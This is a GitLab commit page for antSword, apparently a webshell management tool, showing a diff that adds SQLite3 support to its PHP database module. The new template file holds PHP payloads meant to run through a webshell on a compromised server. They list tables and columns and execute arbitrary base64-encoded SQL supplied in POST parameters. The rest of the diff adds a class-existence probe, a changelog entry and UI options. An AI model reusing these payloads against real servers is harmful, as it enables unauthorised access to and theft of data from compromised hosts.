Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Submit feedback
Contribute to GitLab
Sign in / Register
Toggle navigation
A
antSword
Project
Project
Details
Activity
Releases
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
HuangJunbo
antSword
Commits
6dfa9eb5
Commit
6dfa9eb5
authored
May 14, 2021
by
Medicean
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
enhance(Modules/Database): PHP 类型新增 SQLite3 支持
parent
8c96e056
Changes
5
Hide whitespace changes
Inline
Side-by-side
Showing
5 changed files
with
138 additions
and
1 deletion
+138
-1
CHANGELOG.md
CHANGELOG.md
+6
-0
index.js
source/core/php/index.js
+1
-0
base.js
source/core/php/template/base.js
+5
-1
sqlite3.js
source/core/php/template/database/sqlite3.js
+123
-0
index.js
source/modules/database/php/index.js
+3
-0
No files found.
CHANGELOG.md
View file @
6dfa9eb5
...
...
@@ -7,10 +7,16 @@
### 核心
*
修复 JSP Shell 无法执行 update/delete/insert 语句问题
*
JSP Template 升级至
[
v1.6
](
https://github.com/AntSwordProject/AntSword-JSP-Template/releases/tag/1.6
)
*
equals支持数组传参方式,兼容各种容器
*
build.py中可以手动指定版本号编译,不再需要下载指定jdk
*
部分变量转为类属性,方便调试
*
修正 insert/update/delete 语句无法执行问题
## 数据管理
*
优化出错提示
*
PHP 类型新增 SQLite_PDO 支持
*
PHP 类型新增 SQLite3 支持
## 2021/03/27 `v(2.1.11.1)`
...
...
source/core/php/index.js
View file @
6dfa9eb5
...
...
@@ -25,6 +25,7 @@ class PHP extends Base {
'database/oracle_oci8'
,
'database/postgresql'
,
'database/postgresql_pdo'
,
'database/sqlite3'
,
'database/sqlite_pdo'
,
'database/informix'
].
map
((
_
)
=>
{
...
...
source/core/php/template/base.js
View file @
6dfa9eb5
...
...
@@ -26,7 +26,11 @@ module.exports = () => ({
_
:
`$m=array('mysql_close','mysqli_close','mssql_close','sqlsrv_close','ora_close','oci_close','ifx_close','sqlite_close','pg_close','dba_close','dbmclose','filepro_fieldcount','sybase_close');
foreach ($m as $f) {
echo($f."\\t".(function_exists($f)?'1':'0')."\\n");
}
};
$n=array('SQLite3');
foreach ($n as $f) {
echo($f."\\t".(class_exists($f)?'1':'0')."\\n");
};
if(function_exists('pdo_drivers')){
foreach(@pdo_drivers() as $f){
echo("pdo_".$f."\\t1\\n");
...
...
source/core/php/template/database/sqlite3.js
0 → 100644
View file @
6dfa9eb5
/**
* 数据库管理模板:: sqlite3
* i 数据分隔符号 => \\t|\\t
*/
module
.
exports
=
(
arg1
,
arg2
,
arg3
,
arg4
,
arg5
,
arg6
)
=>
({
// 显示所有数据库
show_databases
:
{
_
:
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["
${
arg1
}
"]):$_POST["
${
arg1
}
"];
$dbh=new SQLite3($hst);
if(!$dbh){
echo("ERROR://CONNECT ERROR".SQLite3::lastErrorMsg());
}else{
echo("main".chr(9));
$dbh->close();
}`
.
replace
(
/
\n\s
+/g
,
''
),
[
arg1
]:
'#{host}'
,
[
arg2
]:
'#{user}'
,
[
arg3
]:
'#{passwd}'
},
// 显示数据库所有表
show_tables
:
{
_
:
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["
${
arg1
}
"]):$_POST["
${
arg1
}
"];
$dbh=new SQLite3($hst);
if(!$dbh){
echo("ERROR://CONNECT ERROR".SQLite3::lastErrorMsg());
}else{
$query="select tbl_name from sqlite_master where type='table' order by tbl_name;";
$stmt=$dbh->prepare($query);
$result=$stmt->execute();
while($res=$result->fetchArray(SQLITE3_ASSOC)){
echo(trim($res['tbl_name']).chr(9));
}
$dbh->close();
}`
.
replace
(
/
\n\s
+/g
,
''
),
[
arg1
]:
'#{host}'
,
[
arg2
]:
'#{user}'
,
[
arg3
]:
'#{passwd}'
,
[
arg4
]:
'#{db}'
},
// 显示表字段
show_columns
:
{
_
:
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["
${
arg1
}
"]):$_POST["
${
arg1
}
"];
$dbn=$m?stripslashes($_POST["
${
arg4
}
"]):$_POST["
${
arg4
}
"];
$tab=$m?stripslashes($_POST["
${
arg5
}
"]):$_POST["
${
arg5
}
"];
$dbh=new SQLite3($hst);
if(!$dbh){
echo("ERROR://CONNECT ERROR".SQLite3::lastErrorMsg());
}else{
$query="pragma table_info('{$tab}');";
$stmt=$dbh->prepare($query);
$result=$stmt->execute();
while($res=$result->fetchArray(SQLITE3_ASSOC)){
echo(trim($res['name'])." ({$res['type']})".chr(9));
}
$dbh->close();
}`
.
replace
(
/
\n\s
+/g
,
''
),
[
arg1
]:
'#{host}'
,
[
arg2
]:
'#{user}'
,
[
arg3
]:
'#{passwd}'
,
[
arg4
]:
'#{db}'
,
[
arg5
]:
'#{table}'
},
// 执行SQL语句
query
:
{
_
:
`$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["
${
arg1
}
"]):$_POST["
${
arg1
}
"];
$usr=$m?stripslashes($_POST["
${
arg2
}
"]):$_POST["
${
arg2
}
"];
$pwd=$m?stripslashes($_POST["
${
arg3
}
"]):$_POST["
${
arg3
}
"];
$dbn=$m?stripslashes($_POST["
${
arg4
}
"]):$_POST["
${
arg4
}
"];
$sql=base64_decode($_POST["
${
arg5
}
"]);
$encode=$m?stripslashes($_POST["
${
arg6
}
"]):$_POST["
${
arg6
}
"];
$dbh=new SQLite3($hst);
if(!$dbh){
echo("ERROR://CONNECT ERROR".SQLite3::lastErrorMsg());
}else{
$stmt=$dbh->prepare($sql);
if(!$stmt){
echo("Status\\t|\\t\\r\\n");
echo(base64_encode("ERROR://".$dbh->lastErrorMsg())."\\t|\\t\\r\\n");
} else {
$result=$stmt->execute();
if(!$result){
echo("Status\\t|\\t\\r\\n");
echo(base64_encode("ERROR://".$dbh->lastErrorMsg())."\\t|\\t\\r\\n");
}else{
$bool=True;
while($res=$result->fetchArray(SQLITE3_ASSOC)){
if($bool){
foreach($res as $key=>$value){
echo($key."\\t|\\t");
}
echo "\\r\\n";
$bool=False;
}
foreach($res as $key=>$value){
echo(base64_encode($value!==NULL?$value:"NULL")."\\t|\\t");
}
echo "\\r\\n";
}
if($bool){
if(!$result->numColumns()){
echo("Affect Rows\\t|\\t\\r\\n".base64_encode($dbh->changes())."\\t|\\t\\r\\n");
}else{
echo("Status\\t|\\t\\r\\n");
echo(base64_encode("ERROR://Table is empty.")."\\t|\\t\\r\\n");
}
}
}
}
$dbh->close();
}`
.
replace
(
/
\n\s
+/g
,
''
),
[
arg1
]:
'#{host}'
,
[
arg2
]:
'#{user}'
,
[
arg3
]:
'#{passwd}'
,
[
arg4
]:
'#{db}'
,
[
arg5
]:
'#{base64::sql}'
,
[
arg6
]:
'#{encode}'
}
})
\ No newline at end of file
source/modules/database/php/index.js
View file @
6dfa9eb5
...
...
@@ -270,6 +270,7 @@ class PHP {
'oracle_oci8'
:
[
'UTF8'
,
'ZHS16GBK'
,
'ZHT16BIG5'
,
'ZHS16GBKFIXED'
,
'ZHT16BIG5FIXED'
],
'postgresql'
:
[
'utf8'
,
'big5'
,
'dec8'
,
'cp850'
,
'hp8'
,
'koi8r'
,
'latin1'
,
'latin2'
,
'ascii'
,
'euckr'
,
'gb2312'
,
'gbk'
],
'postgresql_pdo'
:
[
'utf8'
,
'big5'
,
'dec8'
,
'cp850'
,
'hp8'
,
'koi8r'
,
'latin1'
,
'latin2'
,
'ascii'
,
'euckr'
,
'gb2312'
,
'gbk'
],
'sqlite3'
:
[
'utf8'
],
'sqlite_pdo'
:
[
'utf8'
],
'informix'
:
[
'utf8'
,
'big5'
,
'dec8'
,
'cp850'
,
'hp8'
,
'koi8r'
,
'latin1'
,
'latin2'
,
'ascii'
,
'euckr'
,
'gb2312'
,
'gbk'
],
}
...
...
@@ -350,6 +351,7 @@ class PHP {
{
text
:
'ORACLE_OCI8'
,
value
:
'oracle_oci8'
},
{
text
:
'PostgreSQL'
,
value
:
'postgresql'
},
{
text
:
'PostgreSQL_PDO'
,
value
:
'postgresql_pdo'
},
{
text
:
'SQLite3'
,
value
:
'sqlite3'
},
{
text
:
'SQLite_PDO'
,
value
:
'sqlite_pdo'
},
{
text
:
'INFORMIX'
,
value
:
'informix'
}
]
},
...
...
@@ -427,6 +429,7 @@ class PHP {
passwd
:
''
,
});
break
;
case
'sqlite3'
:
case
'sqlite_pdo'
:
form
.
setFormData
({
host
:
'/var/www/html/test.db'
,
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment